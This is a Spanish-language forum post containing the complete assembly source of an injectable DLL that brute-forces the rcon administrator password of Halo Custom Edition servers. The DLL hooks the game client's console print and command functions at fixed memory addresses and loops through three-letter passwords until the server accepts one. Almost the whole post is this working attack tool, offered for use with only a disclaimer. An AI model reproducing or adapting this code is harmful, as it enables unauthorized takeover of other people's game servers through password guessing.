Bueno, aquí os dejo este código fuente de dicha herramienta que yo mismo programe.
; Halo Rcon Ataque de Fuerza Bruta v0.1.
; Programación y Ing. Inversa por Juan fary, mas conocido con mDrinky
; 13 - Septiembre - 2012
; Nota: Cualquier consulta sobre las funciones nativas de Halo que aqui se utilizan
; las pueden consultar a mi correo: drinky.94@hotmail.com
; ADVERTENCIA: El autor de este programa no se hace responsable de la mala utilización que se le pueda dar a este software.
format PE GUI 4.0 DLL
entry DllEntryPoint
include 'win32ax.inc'
section '.code' code readable executable
proc DllEntryPoint hinstDLL, fdwReason, lpvReserved
cmp [ fdwReason] , 1
jne salir
mov eax , [ EstadoConsola]
mov byte [ eax ] , 1 ; Emulamos que la consola esta desplegada.
push Bienvenida
push string
xor eax , eax
call ImprimirVerdadero ; Imprimimos mensage de bienvenida
add esp , 0x8
push Autor
push string
xor eax , eax
call ImprimirVerdadero ; Imprimimos autor
add esp , 0x8
mov eax , [ EstadoConsola]
mov byte [ eax ] , 0
invoke VirtualProtect, [ Procesar] , 6 , PAGE_EXECUTE_READWRITE, addr oPerm ; hookeamos procesar
mov eax , [ Procesar]
mov byte [ eax ] , 0x68 ; push
inc eax
mov dword [ eax ] , mProcesar ; direccion
add eax , 4
mov byte [ eax ] , 0xC3 ; ret
invoke Sleep, 1
invoke VirtualProtect, [ Imprimir] , 6 , PAGE_EXECUTE_READWRITE, addr oPerm ; hookeamos imprimir
mov eax , [ Imprimir]
mov byte [ eax ] , 0x68 ; push
inc eax
mov dword [ eax ] , mImprimir ; direccion
add eax , 4
mov byte [ eax ] , 0xC3 ; ret
invoke GetCurrentProcess
invoke FlushInstructionCache, eax , NULL, NULL ; refrescamos las instrucciones
salir:
ret
endp
ImprimirVerdadero: ; Función para arreglar la funcion hookeada de imprimir
sub esp , 0x10 ; 6 primeros bytes de la función imprimir
push edi
mov edi , eax
mov eax , [ Imprimir]
add eax , 6 ; Saltamos a la función original
jmp eax
mImprimir:
mov ebp , esp
push ebp
mov eax , dword [ ebp + 8 ] ; eax = puntero a cadena que se iva a imprimir.
. if eax = 0
pop ebp
ret
. endif
cmp [ HackOn] , 0
je NoFiltro
; Hay que poner bandera a 1
. if byte [ eax ] = 'A'
. if byte [ eax + 2 ] = 'c'
pop ebp
jmp SeguimosBus
. endif
. endif
. if byte [ eax ] = 'r'
. if byte [ eax + 2 ] = 'o'
pop ebp
SeguimosBus:
. if [ Bandera] <> 1
call SaltoSinFlujo
. endif
ret
. endif
. endif
. if byte [ eax ] = 's'
. if byte [ eax + 3 ] = 'r'
pop ebp
mov [ Bandera] , 1
mov edi , LimpiarConsola
call ProcesarVerdadero ; Limpiamos la consola
push OkClave
push string
xor eax , eax
call ImprimirVerdadero
add esp , 8
push ImprClave
push string
xor eax , eax
call ImprimirVerdadero
add esp , 8
mov [ HackOn] , 0
ret
. endif
. endif
NoFiltro:
push eax
push string
xor eax , eax
call ImprimirVerdadero
add esp , 0x8
pop ebp
ret
SaltoSinFlujo:
invoke TerminateThread, [ HiloViejo] , 0
invoke CreateThread, 0 , 0 , DarFlujo, 0 , 0 , 0
mov [ HiloViejo] , eax
ret
DarFlujo:
invoke Sleep, 500
mov edi , LimpiarConsola
call ProcesarVerdadero ; Limpiamos la consola
jmp BucleClaves3
ret
mProcesar:
. if byte [ edi ] = 'm'
. if byte [ edi + 4 ] = 'y'
call [ CerrarConsola] ; Cerramos la consola para poder seguir jugando mientras
push Iniciando
push string
xor eax , eax
call ImprimirVerdadero ; Mensage informando que vamos a iniciar el forzado.
add esp , 8
invoke CreateThread, 0 , 0 , mFB, 0 , 0 , 0 ; Iniciarmos Hack!
mov [ HackOn] , 1
ret
. endif
. endif
call ProcesarVerdadero
ret
mFB:
mov edi , CadenaClave
mov [ Letra1] , 64 ; Letra1 = Primer byte
BucleClaves:
inc [ Letra1]
mov eax , CadenaClave
add eax , 5
mov dl , byte [ Letra1]
mov byte [ eax ] , dl
mov byte [ ImprClave] , dl
mov [ Letra2] , 64 ; Letra2 = Segundo byte
BucleClaves2:
inc [ Letra2]
mov eax , CadenaClave
add eax , 6
mov cl , byte [ Letra2]
mov byte [ eax ] , cl
mov byte [ ImprClave+ 1 ] , cl
mov [ Letra3] , 64 ; Letra3 = Tercer Byte
BucleClaves3:
inc [ Letra3]
mov eax , CadenaClave
add eax , 7
mov bl , byte [ Letra3]
mov byte [ eax ] , bl
mov byte [ ImprClave+ 2 ] , bl
mov eax , [ EstadoConsola]
mov byte [ eax ] , 1
push ImprClave
push string
xor eax , eax
call ImprimirVerdadero ; Imprimimos la Clave por la que vamos
add esp , 0x8
mov edi , CadenaClave
call ProcesarVerdadero ; Procesamos la intruccion
; por aqui no se pueden poner Sleep porque el programa se salta las rcon
. if [ Letra3] >= 90
mov [ Letra3] , 65
inc [ Letra2]
mov eax , CadenaClave
add eax , 6
mov cl , byte [ Letra2]
mov byte [ eax ] , cl
mov byte [ ImprClave+ 1 ] , cl
. endif
. if [ Letra2] >= 90
mov [ Letra2] , 65
inc [ Letra1]
mov eax , CadenaClave
add eax , 5
mov dl , byte [ Letra1]
mov byte [ eax ] , dl
mov byte [ ImprClave] , dl
. endif
ret
ProcesarVerdadero: ; Funcion Para Arreglar la funcion verdadera hookeada de procesar
mov al , byte [ edi ] ; Primeros 10 bytes de la funcion procesar
sub esp , 0x500
cmp al , 0x3B
mov edx , [ Procesar]
add edx , 0xA ; Saltamos a la funcion procesar verdadera
jmp edx
section '.data' data readable writeable
Bienvenida db '+ Fuerza Bruta para Halo Custom Edition está listo para usarse.' , 0
Autor db '+ Programado por mDrinky.' , 0
CadenaClave db 'rcon XXX sv_rcon_password' , 0 ; Hay que cambiar los bytes 6,7 y 8
ImprClave db 0x0 , 0x0 , 0x0 , 0x0 ; Se sustitullen los 3 primeros bytes
LimpiarConsola db 'cls' , 0
OkClave db 'La rcon del servidor es:' , 0
string db '%s' , 0
Iniciando db 'Iniciando Fuerza Bruta al servidor!' , 0
Letra1 dd ?
Letra2 dd ?
Letra3 dd ?
oPerm dd ?
HiloViejo dd ?
Bandera dd ?
HackOn dd ?
EstadoConsola dd 0x651E88 ; Direccion que contiene 1 byte indicando el estado de la consola ACTIVA/NO ACTIVA
Procesar dd 0x4C9E10 ; Dirección de la funcion que procesa las instrucciones
CerrarConsola dd 0x4C9980 ; Direccion de la funcion de ciera y abre la consola
Imprimir dd 0x499BD0 ; Direccion de la funcion que imprime datos en pantalla
section '.idata' import data readable writeable
library kernel, 'KERNEL32.DLL' , \
USER32, 'USER32.DLL'
import kernel, \
VirtualProtect, 'VirtualProtect' , \
CreateThread, 'CreateThread' , \
FlushInstructionCache, 'FlushInstructionCache' , \
GetCurrentProcess, 'GetCurrentProcess' , \
Sleep, 'Sleep' , \
TerminateThread, 'TerminateThread'
import USER32, \
MessageBoxA, 'MessageBoxA'
section '.reloc' fixups data discardable
VIDEO Tambien tengo algo implementado para evitar estos ataques, si alquien lo quiere que avise!.
un saludo.